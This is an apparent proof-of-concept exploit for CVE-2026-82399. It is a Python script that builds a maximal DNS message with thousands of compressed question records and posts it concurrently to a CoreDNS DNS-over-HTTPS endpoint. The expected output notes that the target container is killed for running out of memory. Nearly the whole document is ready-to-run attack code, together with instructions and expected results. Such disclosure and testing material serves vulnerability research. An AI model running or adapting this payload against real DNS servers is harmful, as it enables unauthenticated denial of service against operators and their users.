CVE-2026-82399: CoreDNS Unauthenticated Memory Exhaustion via Compressed DNS Section Counts

#!/usr/bin/env python3
# CVE-2026-82399 PoC -- sends one 65,533-byte DoH POST with 10,878
# compressed question records to a CoreDNS DoH endpoint.
# Run: python3 poc.py [--workers 32]
import argparse, concurrent.futures, http.client, ssl, struct
from collections import Counter

def attack_query():
    message = bytearray(65535)
    offset = 12
    name_offset = offset

    # Write one real FQDN (~255 bytes) starting at byte 12
    for size in (63, 63, 63, 61):
        message[offset] = size
        offset += 1
        message[offset:offset + size] = b"\x01" * size
        offset += size
    message[offset] = 0
    offset += 1

    # First question: QTYPE=A, QCLASS=IN
    struct.pack_into("!HH", message, offset, 1, 1)
    offset += 4
    questions = 1

    # Fill remaining space with compressed questions (6 bytes each)
    # Each uses a pointer (0xC000 | name_offset) back to the shared label
    while offset + 6 <= len(message):
        struct.pack_into("!HHH", message, offset,
                         0xC000 | name_offset, 1, 1)
        offset += 6
        questions += 1

    # Write header: QDCOUNT = questions (e.g. 10878)
    struct.pack_into("!HHHHHH", message, 0,
                     0x1234, 0x0100, questions, 0, 0, 0)
    return bytes(message[:offset]), questions

def send(payload):
    ctx = ssl._create_unverified_context()
    conn = http.client.HTTPSConnection("127.0.0.1", 18053,
                                       timeout=3, context=ctx)
    try:
        conn.request("POST", "/dns-query", body=payload,
                     headers={"Content-Type": "application/dns-message"})
        r = conn.getresponse(); r.read()
        return f"http-{r.status}"
    except Exception:
        return "error"
    finally:
        conn.close()

parser = argparse.ArgumentParser()
parser.add_argument("--workers", type=int, default=1)
args = parser.parse_args()
payload, questions = attack_query()
print(f"payload={len(payload)} bytes  questions={questions}")
with concurrent.futures.ThreadPoolExecutor(args.workers) as pool:
    results = pool.map(send, [payload] * args.workers)
print(Counter(results))
# Expected with --workers 32 against a 64 MiB container:
#   Counter({'error': 32})
# docker inspect shows OOMKilled=true ExitCode=137